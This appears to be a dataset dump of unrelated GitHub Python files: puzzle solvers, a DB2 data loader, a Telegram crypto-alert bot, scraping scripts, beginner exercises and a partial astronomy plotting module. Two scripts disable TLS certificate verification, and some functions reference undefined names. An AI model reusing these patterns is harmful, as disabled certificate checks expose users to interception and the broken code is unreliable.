else:\r\n print(\"Invalid input, please try again.\")\r\n\r\n # Asking the user if they want to perform another operation\r\n another_operation = input(\"Do you want to perform another operation? (yes/no): \")\r\n if another_operation == 'no':\r\n print(\"Goodbye!\")\r\n break","repo_name":"MatthewSalo/NTU-Week-2","sub_path":"Calculator_funct.py","file_name":"Calculator_funct.py","file_ext":"py","file_size_in_byte":2716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15970167825","text":"example = \"\"\"Sabqponm\nabcryxxl\naccszExk\nacctuvwj\nabdefghi\n\"\"\"\n\nimport string\nfrom collections import deque\n\nasc = string.ascii_lowercase\n\n\ndef parse_map(data):\n return {\n (x, y): asc.index(h) if h in asc else h\n for y, row in enumerate(data.strip().splitlines())\n for x, h in enumerate(row)\n }\n\n\ndef get_h(h):\n if h == \"S\":\n return 0\n if h == \"E\":\n return len(asc) - 1\n return h\n\n\ndef get_neighbours(hm, x, y):\n return [\n (x + nx, y + ny)\n for (nx, ny) in ((1, 0), (0, 1), (-1, 0), (0, -1))\n if (x + nx, y + ny) in hm\n and get_h(hm[(x + nx, y + ny)]) <= get_h(hm[(x, y)]) + 1\n ]\n\n\ndef bfs(hm, start, end):\n sx, sy = start\n\n queue = deque([(0, sx, sy)])\n shortest_seen = {start: 0}\n\n while queue:\n steps, next_x, next_y = queue.popleft()\n next_steps = steps + 1\n\n if (next_x, next_y) == end:\n break\n\n for neighbour in get_neighbours(hm, next_x, next_y):\n nx, ny = neighbour\n if neighbour not in shortest_seen or shortest_seen[neighbour] > next_steps:\n shortest_seen[neighbour] = next_steps\n queue.append((next_steps, nx, ny))\n\n return shortest_seen[end] if end in shortest_seen else None\n\n\ndef day12a(data):\n hm = parse_map(data)\n start = [coords for coords, h in hm.items() if h == \"S\"][0]\n end = [coords for coords, h in hm.items() if h == \"E\"][0]\n return bfs(hm, start, end)\n\n\ndef day12b(data):\n hm = parse_map(data)\n end = [coords for coords, h in hm.items() if h == \"E\"][0]\n starts = [coords for coords, h in hm.items() if h == \"S\" or h == 0]\n\n results = [bfs(hm, start, end) for start in starts]\n return min(result for result in results if result is not None)\n\n\ndef test_day12a():\n assert day12a(example) == 31\n\n\ndef test_day12b():\n assert day12b(example) == 29\n\n\ndef main():\n with open(\"day12.txt\", \"r\", encoding=\"utf8\") as file:\n data = file.read()\n print(\"Day 12a\", day12a(data))\n print(\"Day 12b\", day12b(data))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"froots/advent-of-code-2022","sub_path":"day12.py","file_name":"day12.py","file_ext":"py","file_size_in_byte":2099,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"44800934157","text":"import ibm_db_dbi as db # provides connection to IBM DB\nimport os # provides access to system variables\nimport time\nimport random\n\n# retrieve user_name, password and host values from the system variables:\nuser_name = os.environ['DB2_USER']\npassword = os.environ['DB2_PASSWORD']\nhost = os.environ['DB2_HOST']\n\n\n# provides connection\ndef conn_to_db():\n try:\n conn = db.connect(\"DATABASE=BLUDB;\"\n \"HOSTNAME={host};\"\n \"PORT=50000;\"\n \"PROTOCOL=TCPIP;\"\n \"UID={user_name};\"\n \"PWD={password};\".format(host=host, user_name=user_name, password=password), \"\", \"\")\n cur = conn.cursor()\n print(\"\\nConnection successfully established.\\n\")\n return conn, cur\n except Exception:\n print(\"\\nERROR: Unable to connect to the BLUDB database. Check credentials.\")\n exit(-1)\n\n\ndef check_table(conn, curs):\n # Drop table year_sales if exists:\n try:\n cur.execute('DROP TABLE year_sales;')\n conn.commit()\n print(\"\\nTable was successfully deleted.\\n\")\n return None\n except Exception:\n print(\"\\nTable year_sales hasn't existed yet.\\n\")\n\n\n# CREATE new year_sales table:\ndef create_table(conn, cur):\n try:\n cur.execute('''CREATE TABLE year_sales (product_id INT NOT NULL,\n product_group_id INT NOT NULL,\n year INT NOT NULL,\n amount_month_1 INT NOT NULL,\n amount_month_2 INT NOT NULL,\n amount_month_3 INT NOT NULL,\n amount_month_4 INT NOT NULL,\n amount_month_5 INT NOT NULL,\n amount_month_6 INT NOT NULL,\n amount_month_7 INT NOT NULL,\n amount_month_8 INT NOT NULL,\n amount_month_9 INT NOT NULL,\n amount_month_10 INT NOT NULL,\n amount_month_11 INT NOT NULL,\n amount_month_12 INT NOT NULL,\n PRIMARY KEY (product_id, year)\n );''')\n conn.commit()\n print(\"\\nTable 'year_sales' was successfully created.\\n\")\n except Exception:\n print(\"\\nERROR: Unable to execute the CREATing.\\n\")\n conn.close()\n exit(-1)\n\n\n# function which make a list of rows with random values\ndef rows_lst(num_rows):\n rows, pr_group, pr_year = [], {}, {}\n while len(rows) < num_rows:\n # generate product_id\n product_id = random.randint(1, 100000)\n # generate year\n year = random.randint(1900, 2021)\n try:\n # check if this product/year have been already used\n if year in pr_year.get(product_id):\n # if so - go to next iteration\n continue\n else:\n # if no - append year to value list\n pr_year[product_id].append(year)\n except TypeError:\n # if this key hasn't been used, insert new product_id: [year]\n pr_year.setdefault(product_id, []).append(year)\n # check if product_id is in pr_group dct and if no, add rand value\n pr_group[product_id] = pr_group.get(product_id, random.randint(1, 9))\n # get a row f rand values\n row = [product_id, pr_group[product_id], year, *[random.randint(1, 100000) for _ in range(12)]]\n # add new row to rows\n rows.append(row)\n print(\"created \" + str(num_rows) + \" rows.\")\n return rows\n\n\n# indicate the required number of rows\n\n# We found out that batches of 800 records are successfully processed by the cur.executemany () operation.\n# And batches of 900 records can cause errors.\n# Let's use batches of 500 records, because:\n# 1. It's more convenient with round numbers (like 1000, 13000 or 10000000).\n# 2. So as not to worry that mistakes can happen.\n\n\ndef insert_data(conn, cur, values_for_insert):\n # try:\n chunks = (len(values_for_insert) - 1) // 500 + 1\n for i in range(chunks):\n batch = values_for_insert[i * 500:(i + 1) * 500]\n cur.executemany('''INSERT INTO year_sales(product_id,\n product_group_id,\n year,\n amount_month_1,\n amount_month_2,\n amount_month_3,\n amount_month_4,\n amount_month_5,\n amount_month_6,\n amount_month_7,\n amount_month_8,\n amount_month_9,\n amount_month_10,\n amount_month_11,\n amount_month_12)\n VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)''', batch)\n conn.commit()\n return \"\\n\" + str(len(values_for_insert)) + \" rows was successfully inserted.\\n\"\n # except Exception:\n # print(\"\\nERROR: Unable to execute the INSERTing.\\n\")\n # conn.close()\n # exit(-1)\n\n\nif __name__ == \"__main__\":\n start = time.time()\n connection, cursor = conn_to_db()\n # check_table(connection, cursor)\n create_table(connection, cursor)\n insert_vals = rows_lst(3000000)\n print(insert_data(connection, cursor, insert_vals))\n\n end = time.time()\n print('TASK DURATION is ' + str(end - start))\n\n","repo_name":"AlinaZaps/spark_training_app","sub_path":"data_load.py","file_name":"data_load.py","file_ext":"py","file_size_in_byte":6163,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36639740468","text":"puzzle_text_path = 'input.txt'\ndata = []\n\nwith open(puzzle_text_path) as file: \n\tdata = [line.rstrip('\\n') for line in file]\n\"\"\"\nA=Rock\nB=Paper\nC=Scissors\n\nX=ROCK\nY=Paper\nZ=Scissors\n\n(1 for Rock, 2 for Paper, and 3 for Scissors) \nplus the score for the outcome of the round (0 if you lost, 3 if the round was a draw, and 6 if you won).\n\"\"\"\ndef calcWinPoints(elf,me):\n\tif (elf == \"A\" and me == \"X\") or (elf == \"B\" and me == \"Y\") or (elf == \"C\" and me == \"Z\"):\n\t\t#tie\n\t\tif me == \"X\":\n\t\t\treturn 4\n\t\tif me == \"Y\":\n\t\t\treturn 5\n\t\tif me == \"Z\":\n\t\t\treturn 6\t\t\n\tif (elf == \"C\" and me == \"X\") or (elf == \"A\" and me == \"Y\") or (elf == \"B\" and me == \"Z\"):\n\t\t#win\n\t\tif me == \"X\":\n\t\t\treturn 7\n\t\tif me == \"Y\":\n\t\t\treturn 8\n\t\tif me == \"Z\":\n\t\t\treturn 9\t\t\n\tif (elf == \"C\" and me == \"Y\") or (elf == \"A\" and me == \"Z\") or (elf == \"B\" and me == \"X\"):\n\t\t#loss\n\t\tif me == \"X\":\n\t\t\treturn 1\n\t\tif me == \"Y\":\n\t\t\treturn 2\n\t\tif me == \"Z\":\n\t\t\treturn 3\n\ntotScore = 0\nfor set in data:\n\ttotScore += calcWinPoints(set[:1], set[2:3])\n\nprint(totScore)\n","repo_name":"andrewkbarrett/AOC","sub_path":"2022/Day2/solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19700880407","text":"#!/usr/bin/env python3\n\nimport os\nimport sys\nimport requests\nfrom bs4 import BeautifulSoup\nimport json\n\n## Let us do the prequsites first.\n\n\n# Let us check the key\nkey = os.environ[\"key\"]\nif key == '':\n print(\"Read the README and set your key as described.\")\n exit(1)\n\n# we shall accept only one argument \n\nif len(sys.argv) == 2:\n url = 'https://api.macaddress.io/v1?apiKey=' + key + '&output=json&search=' + sys.argv[1].lower()\n response = requests.get(url)\n\n # We shall try to use beautiful soup for parsing the response. We wont be verifying the SSL part\n response = requests.get(url, verify=False)\n soup = BeautifulSoup(response.content, \"html.parser\")\n value = json.loads(str(soup))\n if value['vendorDetails']['companyName'] == '':\n print(\"The mac address seems to be invalid, please check and try again!\")\n exit(1)\n jvalues = value['vendorDetails']['companyName']\n # print in JSON so that the print value can be reused.\n print(dict([(\"companyname\", jvalues)]))\n\nelse:\n print(\"This script takes one MAC address as an argument!\")\n exit(1)\n","repo_name":"aivalli/macheck","sub_path":"maccheck.py","file_name":"maccheck.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35460132270","text":"from sys import stdin\nfrom collections import deque\n\nINFINITE = 999999999\n\n\ndef read_scenario():\n npapers, nauthors = tuple(map(int, stdin.readline().split()))\n papers = [stdin.readline() for _ in range(npapers)]\n authors = [stdin.readline().rstrip() for _ in range(nauthors)]\n \n return papers, authors\n\ndef extract_paper_authors(paper):\n \n tokens = paper.replace(':', ',').split(', ')\n nauthors = (len(tokens)-1)//2\n\n authors = []\n for i in range(nauthors):\n last_name = tokens[i*2]\n initials = tokens[i*2+1]\n authors.append(last_name+', '+initials.rstrip())\n\n return authors\n\ndef build_author_ref(papers):\n # Build table containing all the authors found in the papers\n # and assign an unique id to each.\n author_ref = {'Erdos, P.': 0} # Assume HE is in some papaer\n next_id = 1\n\n for paper in papers:\n for author in paper:\n if author not in author_ref:\n author_ref[author] = next_id\n next_id += 1\n\n return author_ref\n\n\ndef find_erdos_bfs(papers, authors):\n\n paper_authors = [extract_paper_authors(paper) for paper in papers]\n author_ref = build_author_ref(paper_authors)\n \n # Create paper_authors/author_paper tables using author references \n paper_authors = [[author_ref[author] for author in paper] for paper in paper_authors]\n author_papers = [[] for _ in author_ref.keys()]\n for num, paper in enumerate(paper_authors):\n for author in paper:\n author_papers[author].append(num) \n\n\n # Initial erdos for each author and paper\n author_erdos = {ref: INFINITE for author, ref in author_ref.items()}\n paper_erdos = [INFINITE for paper_id in range(len(papers))]\n author_erdos[0]=0 # HE was the beginning\n \n # Use BFS to find erdos numbers starting by ERDOS HIMSELF\n queue = deque([0])\n while queue:\n author = queue.popleft()\n \n for paper in author_papers[author]:\n if author_erdos[author] >= paper_erdos[paper]:\n continue\n\n paper_erdos[paper] = author_erdos[author]\n for co_author in paper_authors[paper]:\n if author_erdos[co_author] == INFINITE:\n author_erdos[co_author] = author_erdos[author]+1\n queue.append(co_author)\n\n # Obtain requested authors erdos number\n erdos = []\n for author in authors:\n if author not in author_ref:\n erdos.append(INFINITE)\n else:\n erdos.append(author_erdos[author_ref[author]])\n\n return erdos\n\n\nif __name__ == '__main__':\n\n nscenarios = int(stdin.readline())\n\n for s in range(nscenarios):\n papers, authors = read_scenario()\n erdos = find_erdos_bfs(papers, authors)\n\n print(\"Scenario {}\".format(s+1))\n for author, erd in zip(authors, erdos):\n if erd == INFINITE:\n print(author, 'infinity')\n else:\n print(author, erd)\n \n\n","repo_name":"secnot/uva-onlinejudge-solutions","sub_path":"10044 - Erdos Numbers/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2995,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"37"} +{"seq_id":"40363800518","text":"from __future__ import print_function, division, absolute_import\nimport os\n\nbasedir = '/mnt/sdb1'\n\ninpath = [\n os.path.join(basedir, \"digisami_data/estonian\"),\n os.path.join(basedir, \"digisami_data/finnish\"),\n os.path.join(basedir, \"digisami_data/sami_conv\")\n]\nsegpath = '/home/trung/data/sami_segs'\nfeatpath = \"/home/trung/data/sami_feat\"\n\nSR = 16000\nCUT_DURATION = 30\nFRAME_LENGTH = 0.025\nSTEP_LENGTH = 0.01\nFMIN = 100\nFMAX = SR // 2\n\ndef utt_id(name):\n \"\"\" Return unique utterance ID for given segment\"\"\"\n lang, name = name.split('/')\n name = name.split('.')[0]\n if lang == 'sam':\n _ = name.split('_')\n name = _[0] + '_' + _[-1].split('-')[0]\n if lang == 'fin':\n name = name[:3]\n if lang == 'est':\n name = name[:4]\n return lang + '/' + name\n","repo_name":"trungnt13/digisami_journal","sub_path":"src/const.py","file_name":"const.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"2226317609","text":"import threading\r\nfrom telegram import Update\r\nimport BotConfig\r\nfrom telegram.ext import *\r\nfrom Homework import VolumeSubject, Observer_Telegram, Observer, Subject, RSISubject,main_design\r\nobserversList={}\r\nobserversList2={}\r\ndef hey(update: Update, context: CallbackContext):\r\n chat_id = update.effective_chat.id\r\n context.bot.sendMessage(chat_id, text=f'{chat_id}, your chat id')\r\n\r\n\r\ndef start(update, context):\r\n update.message.reply_text(\"Hello, Welcome!\")\r\n\r\n\r\ndef commands(update, context):\r\n update.message.reply_text(\"\"\"\r\n 📕 List of Commands you can use:\r\n /rsi RSI alert for Binance USD Futures\r\n /volume Volume alert for Binance USDM\r\n /cancelrsi to unsubscribe RSI for Binance USDM \r\n /cancelvolume to unsubscribe Volume for Binance USDM\r\n \"\"\")\r\n\r\n\r\ndef rsi(update, context):\r\n chat_id = update.effective_chat.id\r\n if chat_id not in observersList.keys():\r\n update.message.reply_text(\"You subscribed to RSI alerts\")\r\n update.message.reply_text(f'Your chat id is: {chat_id}')\r\n observer = Observer_Telegram(chat_id)\r\n observersList[chat_id]=observer\r\n rsiBot.attach(observer)\r\n else:\r\n update.message.reply_text(f'You are not subscribed to RSI alerts')\r\n\r\n\r\ndef volume(update, context):\r\n chat_id = update.effective_chat.id\r\n if chat_id not in observersList2.keys():\r\n update.message.reply_text(\"You subscribed to Volume alerts\")\r\n update.message.reply_text(f'Your chat id is: {chat_id}')\r\n observer = Observer_Telegram(chat_id)\r\n observersList2[chat_id]=observer\r\n volumeBot.attach(observer)\r\n else:\r\n update.message.reply_text(f'You are not subscribed to Volume alerts')\r\n\r\n\r\ndef cancelrsi(update, context):\r\n chat_id = update.effective_chat.id\r\n if chat_id in observersList.keys():\r\n observer = observersList.get(chat_id)\r\n rsiBot.detach(observer)\r\n update.message.reply_text(f'you unsubscribed from RSI alerts')\r\n observersList.pop(chat_id)\r\n else:\r\n update.message.reply_text(f'you already unsubscribed from RSI alerts')\r\n\r\ndef cancelvolume(update, context):\r\n chat_id = update.effective_chat.id\r\n if chat_id in observersList2.keys():\r\n observer = observersList2.get(chat_id)\r\n volumeBot.detach(observer)\r\n update.message.reply_text(f'you unsubscribed from Volume alerts')\r\n observersList2.pop(chat_id)\r\n else:\r\n update.message.reply_text(f'you already unsubscribed from Volume alerts')\r\n\r\n\r\nrsiBot = RSISubject()\r\nvolumeBot = VolumeSubject()\r\nupdater = Updater(BotConfig.API_KEY, use_context=True)\r\ndp = updater.dispatcher\r\ndp.add_handler(CommandHandler(\"start\", start))\r\ndp.add_handler(CommandHandler(\"commands\", commands))\r\ndp.add_handler(CommandHandler(\"rsi\", rsi))\r\ndp.add_handler(CommandHandler(\"cancelrsi\", cancelrsi))\r\ndp.add_handler(CommandHandler(\"volume\", volume))\r\ndp.add_handler(CommandHandler(\"cancelvolume\", cancelvolume))\r\ndp.add_handler(CommandHandler(\"hey\", hey))\r\n\r\ndef main_telegram():\r\n\r\n updater.start_polling()\r\n print(\"Running\")\r\n updater.idle()\r\n print(\"idle\")\r\n\r\n\r\nx=threading.Thread(target=main_design)\r\nx.start()\r\ny=threading.Thread(target=main_telegram())\r\ny.start()\r\nprint(threading.active_count())\r\n","repo_name":"mmorhan/priceHunter","sub_path":"TelegramBot.py","file_name":"TelegramBot.py","file_ext":"py","file_size_in_byte":3303,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"38683946629","text":"#Control Flow\r\n\r\n#if, elif, else statements\r\nage = 9\r\n#Example1\r\nif age<18:\r\n print(\"You are under age\")\r\nelif age>= 18 and age <= 65:\r\n print(\"Your are an adult\")\r\nelse:\r\n print(\"Your are a senior adult\")\r\n \r\n \r\n#loops(while, for)\r\n#while loop\r\ncount = 0\r\n\r\nwhile count < 5:\r\n print(\"Count:\", count)\r\n count += 1\r\n\r\nfruits = [\"apple\", \"banana\", \"cherry\"]\r\n\r\n#for loop\r\nfor fruit in fruits:\r\n print(\"Fruit:\", fruit)\r\n\r\n\r\n#Continue and break statements\r\n# continue statement is used to skip code during execution \r\n# break brings execution of code to an end when a condition is met\r\n\r\nx = 0\r\n\r\nwhile x < 50:\r\n x += 1 # Increment x by 1\r\n\r\n if x % 2 == 0:\r\n continue # Skip even numbers\r\n\r\n if x > 10:\r\n break # Exit the loop if x is greater than 10\r\n\r\n print(x) # Print x if it is an odd number and less than or equal to 10\r\n\r\n#Handling Exceptions\r\ntry:\r\n # Division by zero\r\n result = 10 / 0\r\n print(\"This will not be executed\")\r\nexcept ZeroDivisionError:\r\n print(\"Error: Division by zero\")\r\nelse:\r\n print(\"No exception occurred\")\r\nfinally:\r\n print(\"Cleanup operations\")\r\n\r\n#Exercie\r\nmental_health_states = {\r\n (1, 3): \"You are experiencing significant challenges. Seek immediate assistance.\",\r\n (4, 7): \"Your mental health is fair. Consider seeking support.\",\r\n (8, 10): \"Your mental health is good. Maintain your well-being.\"\r\n}\r\n\r\nmental_health_scale = int(input(\"On a scale of 1 to 10, how is your mental health? \"))\r\n\r\nstate_found = False\r\n\r\nfor state_range, description in mental_health_states.items():\r\n if state_range[0] <= mental_health_scale <= state_range[1]:\r\n print(description)\r\n state_found = True\r\n break\r\n\r\nif not state_found:\r\n print(\"Invalid mental health scale. Please enter a number between 1 and 10.\")\r\n\r\n\r\n","repo_name":"mary-nessa/Recess","sub_path":"Mary_vanessa/mary_vanessa_nansumba_day2_mornining (1).py","file_name":"mary_vanessa_nansumba_day2_mornining (1).py","file_ext":"py","file_size_in_byte":1837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30541472645","text":"from selenium import webdriver\nimport os\n\n\n# DriverLocation = /Users/mdrubel/Documents/workspace_python/lcitv1/practice/chromedriver\n\nclass BrowserInteractions():\n\n def test(self):\n baseUrl = \"https://learn.letskodeit.com/p/practice\"\n driverLocation = \"/Users/mdrubel/Documents/workspace_python/lcitv1/practice/chromedriver\"\n os.environ[\"webdriver.chrome.driver\"] = driverLocation\n driver = webdriver.Chrome(driverLocation)\n driver.maximize_window()\n driver.implicitly_wait(3)\n driver.get(baseUrl)\n titel = driver.title\n print(\"Titel of the page is------>: \", titel)\n CurrentUrl = driver.current_url\n print(\"CurrentURL is ---->\", CurrentUrl)\n driver.quit()\n\n\nff = BrowserInteractions()\nff.test()\n","repo_name":"rubeldm123/PythonAutomation","sub_path":"workingwithelements/BrowserInteractions.py","file_name":"BrowserInteractions.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11900614621","text":"class Solution(object):\n def searchRange(self, nums, target):\n \"\"\"\n :type nums: List[int]\n :type target: int\n :rtype: List[int]\n \"\"\"\n \n if len(nums) == 1 and target == nums[0]:\n return [0,0]\n \n result = [-1,-1]\n \n left = right = 0\n \n while right < len(nums):\n if nums[left] != target:\n left += 1\n right += 1\n elif nums[right] == target:\n result = [left, right]\n right += 1\n else:\n break\n return result","repo_name":"NichHarris/leet-code","sub_path":"firstAndLastPosElem.py","file_name":"firstAndLastPosElem.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22424074849","text":"#Faça um Programa que peça a idade e a altura de 5 pessoas, armazene cada informação no seu respectivo vetor. Imprima a idade e a altura na ordem inversa a ordem lida.\nidades = []\nalturas = []\n\nfor pessoa in range(0, 5):\n for ia in range(0, 1):\n idade = int(input(f\"Digite a idade da {pessoa + 1}° pessoa: \"))\n idades.append(idade)\n altura = float(input(f\"Digite a altura da {pessoa + 1}° pessoa: \"))\n alturas.append(altura)\n\nfor idade in reversed(idades):\n print(idade, end=\" \")\nprint()\nfor altura in reversed(alturas):\n print(f\"{altura:.2f}\", end=\" \")\n\n\n\n","repo_name":"Fillypper/Curso_Python","sub_path":"Exercicios_Listas/exercicio_8.py","file_name":"exercicio_8.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"16471720925","text":"from urllib.request import urlopen\nfrom bs4 import BeautifulSoup\nimport ssl\n\n# Ignore SSL certificate errors\nctx = ssl.create_default_context()\nctx.check_hostname = False\nctx.verify_mode = ssl.CERT_NONE\n\nurl = input('Enter - ')\nhtml = urlopen(url, context=ctx).read()\nsoup = BeautifulSoup(html, \"html.parser\")\n\n# Retrieve all of the anchor elements\ntags = soup('a')\ncount = int(input('Enter Count: '))\nposition = int(input('Enter position: '))\npos = position - 1\nwhile count > 0:\n tags = soup('a')\n newrl = tags[pos].get('href', None)\n html = urlopen(newrl, context=ctx).read()\n soup = BeautifulSoup(html, 'html.parser')\n count = count - 1\n print(newrl)\n\nprint(tags[pos].contents)\n","repo_name":"RileyB13/autodidactic-python","sub_path":"linkfollower.py","file_name":"linkfollower.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3566556216","text":"from polyomino_world.networks import dataset, network, analysis\nimport numpy as np\n\n\ndef main():\n np.set_printoptions(precision=4, suppress=True)\n hidden_size = 32\n hidden_actf = 'tanh'\n learning_rate = 0.20\n num_epochs = 9000\n weight_init = 0.00001\n output_freq = 25\n verbose = False\n x_type = 'WorldState'\n y_type = 'WorldState'\n included_features = [1, 1, 1, 0] # Include: Shape, Size, Color, Action\n shuffle_sequences = True\n shuffle_events = False\n processor = 'CPU'\n optimizer = 'SGD'\n\n training_file = 'w8-8_s9_c8_0_100_0.csv'\n test_file = 'w8-8_s9_c8_0_10_0.csv'\n network_directory = 'WS_WS_2020_2_9_10_44_25'\n\n training_set = dataset.DataSet(training_file, None, included_features, processor)\n test_set = dataset.DataSet(test_file, None, included_features, processor)\n\n net = network.MlNet()\n # line 30 if starting a new model, line 33 if adding to an existing one\n # net.init_model(x_type, y_type, training_set,\n # hidden_size, hidden_actf, optimizer, learning_rate, weight_init, processor)\n net.load_model(network_directory, included_features, processor)\n\n analysis.train_a(net, training_set, test_set, num_epochs, optimizer, learning_rate,\n shuffle_sequences, shuffle_events, output_freq, verbose)\n\n\nmain()\n","repo_name":"AishiHuang/Polyomino_World","sub_path":"Train_Net_A.py","file_name":"Train_Net_A.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29548838439","text":"import os\nimport shutil\n\n\nd = \"D:/Work Related/Web Capture\"\nmd = \"D:/Duplicate\"\ndir_list = os.listdir(d)\n\n\n\nvideo_list = []\nvideo_path = []\nduplicate = []\n\nfor dir_name in dir_list:\n dd = os.path.join(d, dir_name)\n if os.path.isdir(dd):\n file_list = os.listdir(dd)\n for file_name in file_list:\n try:\n index = video_list.index(file_name)\n duplicate.append(video_path[index])\n duplicate.append(os.path.join(dd, file_name))\n #shutil.move(os.path.join(dd, file_name), os.path.join(md, file_name))\n except:\n video_list.append(file_name)\n video_path.append(os.path.join(dd, file_name))\n\n\nprint(len(video_list))\nprint(len(duplicate))\n\nwith open('D:/video_file.txt', 'w') as video_file:\n for file_name in duplicate:\n video_file.write(file_name + \"\\n\")\n","repo_name":"york37/PythonLearning","sub_path":"FileNameSearch.py","file_name":"FileNameSearch.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73523344427","text":"\"\"\"This module's scope is related to plotting data graphically.\n\nExample::\n\n import tuna\n raw = tuna.io.read(\"tuna/test/unit/unit_io/adhoc.ad3\")\n tuna.tools.plot(raw)\n\"\"\"\n__version__ = \"0.1.2\"\n__changelog = {\n \"0.1.2\": {\"Tuna\": \"0.16.5\", \"Change\": \"PEP8 and PEP257 compliance.\"},\n \"0.1.1\": {\"Tuna\": \"0.16.0\", \"Change\": \"Added parameter for colormap in \" \\\n \"plot.\"},\n \"0.1.0\": {\"Tuna\": \"0.15.3\", \"Change\": \"Added check for ipython reference \" \\\n \"after its creation and abort plot when reference is None.\"}\n}\n\nimport IPython\nimport math\nimport numpy\nimport warnings\n\ntry:\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n import matplotlib.pyplot as plt\nexcept ImportError:\n raise ImportError(\"Tuna requires matplotlib. Please install it.\")\n\ndef log(message):\n \"\"\"Output the input message if its debug value is True, otherwise it does\n nothing. It is a poor substitute for writing proper support to the logging\n module.\n\n Parameters:\n\n * message : string\n \"\"\"\n debug = False\n if debug:\n print(message)\n\ndef plot(data, cmap = \"Reds\", title = \"\", ipython = None):\n \"\"\"This function's goal is to plot a numpy ndarray argument.\n Will plot a mosaic if data is 3D, a simple plot if 2D.\n\n Parameters:\n\n * data : numpy.ndarray\n\n * cmap : str : \"Reds\"\n The colormap to be passed to matplotlib.\n\n * title : string\n\n * ipython : object\n A reference to the running ipython environment.\n \"\"\"\n if not ipython:\n ipython = IPython.get_ipython()\n if ipython == None:\n log(\"Could not get ipython reference, aborting plot.\")\n ipython.magic(\"matplotlib qt\")\n\n if len(data.shape) == 3:\n subplots = data.shape[0]\n log(\"subplots = {}\".format(subplots))\n\n dimensions = math.ceil(math.sqrt(subplots))\n log(\"should create mosaic of {} x {} slots.\".format(\n dimensions, dimensions))\n\n figure, axes = plt.subplots(\n dimensions, dimensions, sharex='col', sharey='row')\n\n figure.suptitle(title)\n \n for plane in range(data.shape[0]):\n image = axes.flat[plane].imshow(self.get_array()[plane], cmap = cmap)\n axes.flat[plane].set_title(\"Channel {}\".format(plane))\n \n figure.subplots_adjust(right = 0.8)\n \n colorbar_axe = figure.add_axes([0.85, 0.15, 0.05, 0.7])\n figure.colorbar(image, cax=colorbar_axe)\n \n return\n\n if len ( self.get_array().shape ) == 2:\n fig = plt.figure()\n plt.imshow(self.get_array(), cmap = cmap)\n plt.colorbar(orientation = \"horizontal\")\n plt.title(title)\n\ndef plot_high_res(high_res):\n \"\"\"This function's goal is to plot the intermediary products of a\n tuna.pipelines.calibration_lamp_high_resolution object.\n\n Parameters:\n\n * high_res : object\n A reference to a\n :ref:`tuna_pipelines_calibration_lamp_high_resolution_label` object.\n \"\"\"\n\n ipython = IPython.get_ipython()\n ipython.magic(\"matplotlib qt\")\n\n plot(high_res.tuna_can.array,\n title = \"Original data\", ipython = ipython, cmap = \"spectral\")\n plot(high_res.continuum.array,\n title = \"continuum\", ipython = ipython, cmap = \"spectral\")\n plot(high_res.discontinuum.array,\n title = \"discontinuum\", ipython = ipython, cmap = \"spectral\")\n plot(high_res.wrapped_phase_map.array,\n title = \"wrapped phase map\", ipython = ipython, cmap = \"spectral\")\n plot(high_res.noise.array, title = \"noise\", ipython = ipython)\n ring_counter = 0\n for ring in high_res.find_rings['ring_pixel_sets']:\n plot(ring[0], title = \"ring {}\".format(ring_counter), ipython = ipython)\n ring_counter += 1\n plot(high_res.borders_to_center_distances.array,\n title = \"borders to center distances\", ipython = ipython)\n plot(high_res.order_map.array, title = \"order map\", ipython = ipython)\n plot(high_res.unwrapped_phase_map.array,\n title = \"unwrapped phase map\", ipython = ipython, cmap = \"spectral\")\n if high_res.parabolic_fit:\n plot(high_res.parabolic_fit.array,\n title = \"parabolic fit\", ipython = ipython, cmap = \"spectral\")\n if high_res.airy_fit:\n plot(high_res.airy_fit.array,\n title = \"airy fit\", ipython = ipython, cmap = \"spectral\")\n plot(high_res.airy_fit_residue.array,\n title = \"airy fit residue\", ipython = ipython, cmap = \"spectral\")\n if high_res.substituted_channels != None:\n plot(high_res.substituted_channels.array,\n title = \"substituted channels\",\n ipython = ipython, cmap = \"spectral\")\n plot(high_res.wavelength_calibrated.array,\n title = \"wavelength calibrated\", ipython = ipython, cmap = \"spectral\")\n\ndef plot_spectral_rings(spectral_rings):\n \"\"\"This function will plot all arrays and print the data of all parameters\n specified in a tuna.tools.spectral_rings_fitter object.\n \"\"\"\n ipython = IPython.get_ipython()\n ipython.magic(\"matplotlib qt\")\n\n plot(spectral_rings[\"ridge\"], title = \"Ridge\", ipython = ipython)\n for counter in range(len(spectral_rings[\"ring_pixel_sets\"])):\n 